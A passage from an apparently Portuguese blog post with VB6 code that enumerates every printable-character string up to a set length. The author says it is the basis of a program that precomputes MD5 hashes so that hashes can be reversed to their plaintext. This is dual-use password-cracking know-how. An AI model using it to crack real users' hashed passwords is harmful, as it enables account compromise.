If Len(str) = lenStr Then 'se for igual o tamamaho máximo foi atingido
MsgBox "tamanho máximo atingido"
Me.Timer1.Enabled = False 'desativa o timer

Else 'se o tamanho máximo não atinguir então
'vou gerenciar baseado no tamanho da string com o index
'vai se iniciar em 1 e vai até o tamanho da string
'quando o index chegar no tamanho da string e tiver no ultimo caracter
'vai ser adicionado mais um caraacter se não tiver no tamanho máximo

'vou ter uma várivel chamada strFinal onde vai ter
'o ultimo tipo de caracter.. para fazer a compararção vai ser gerada aqui

'vou addicionar um caracter a mais
str = str & Chr(primeiroChar)

'inicializo a string final
strFinal = ""

'gera a string final baseado no tamanho da str vai ser gerado a strFinal
'por exemplo str = gcg strFinal = ddd
While Len(str) <> Len(strFinal)
strFinal = strFinal & Chr(ultimoChar)
Wend

'vou inicializar toda a string
str = iniStr(str)

'inicializar o index
index = 1
End If
End If

Else 'se for o inicio da string
str = Chr(primeiroChar)
strFinal = Chr(ultimoChar)
End If

'gera todas as sequencias
gerarTodosStr (str)

'vou mudar para o proximo caracter
str = mudarProximoChar(str, index)

'vou usar uma funçaõ para analizar qual caracter vai ter que ser modificado
index = pegarProximoIndex(str)
End Sub

O evento abaixo apenas inicializa os itens, poderia fazer algo mais dinâmico pegar os valores de um Text ou algo similar.

Private Sub Form_Load()
index = 1 'Primeiro caracter
lenStr = 3 'tamanho máximo
ultimoChar = 126 'o ultimo vai incluir todos os caracteres
primeiroChar = 33 'o primeiro char
End Sub

Baseado nesse principio desenvolvi um programa que gera strings e converte para md5 podendo assim criar um 'banco de dados' para quando se deparar com um md5 você poderar encontrar o seu valor descriptografado.
http://alucard.dxs.googlepages.com/GeraString.zip

Valuew...